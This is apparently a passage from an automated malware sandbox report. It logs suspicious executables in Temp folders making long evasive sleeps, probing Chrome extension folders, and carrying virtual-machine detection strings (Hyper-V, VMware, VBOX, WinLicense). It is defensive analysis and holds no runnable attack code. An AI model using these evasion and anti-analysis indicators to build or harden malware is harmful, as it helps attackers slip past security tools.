Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7908	Thread sleep time: -112056s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7916	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7916	Thread sleep time: -100050s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7876	Thread sleep count: 337 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7876	Thread sleep time: -10110000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7912	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7912	Thread sleep time: -108054s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7896	Thread sleep count: 1719 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7896	Thread sleep time: -3439719s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7904	Thread sleep count: 1512 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7904	Thread sleep time: -3025512s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7900	Thread sleep count: 1563 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7900	Thread sleep time: -3127563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7892	Thread sleep count: 1466 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7892	Thread sleep time: -2933466s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7996	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe TID: 6688	Thread sleep count: 103 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe TID: 6688	Thread sleep time: -618000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe TID: 5460	Thread sleep count: 499 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe TID: 5460	Thread sleep count: 1077 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe TID: 5460	Thread sleep count: 506 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe TID: 3352	Thread sleep count: 97 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe TID: 3352	Thread sleep time: -582000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe TID: 4164	Thread sleep count: 270 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe TID: 4164	Thread sleep count: 167 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe TID: 4164	Thread sleep count: 627 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4456	Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4456	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Thread sleep count: Count: 1642 delay: -10			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Thread sleep count: Count: 1077 delay: -10

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\userKFHCAEGCBF.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Code function: 8_2_6C1DC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

8_2_6C1DC930

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 0000001F.00000002.2936767105.00000000020D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: firefox.exe, 00000018.00000002.2626428785.00000238E8EA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWi
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: 8ec8c5c339.exe, 0000001E.00000002.2781993331.00000000026C0000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware=z
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: vmware
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explorti.exe, explorti.exe, 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmp, RoamingHJDBKJKFIE.exe, 0000000F.00000002.2581280707.0000000000E2B000.00000040.00000001.01000000.0000000D.sdmp, userKFHCAEGCBF.exe, 00000012.00000002.2598761608.0000000000DF9000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 00000013.00000002.2624518320.0000000000349000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWk+IB
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: firefox.exe, 00000018.00000002.2626428785.00000238E8EA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Hyper-V (guest)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000005F6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000005F6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000005F6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000005F6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000005F6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000005F6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000005F6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000005F6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000005F6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: 8NjcvPNvUr.exe, 00000000.00000002.1687078940.000000000044B000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 00000001.00000002.1712195825.000000000050B000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000002.00000002.1715924134.000000000050B000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmp, RoamingHJDBKJKFIE.exe, 0000000F.00000002.2581280707.0000000000E2B000.00000040.00000001.01000000.0000000D.sdmp, userKFHCAEGCBF.exe, 00000012.00000002.2598761608.0000000000DF9000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 00000013.00000002.2624518320.0000000000349000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
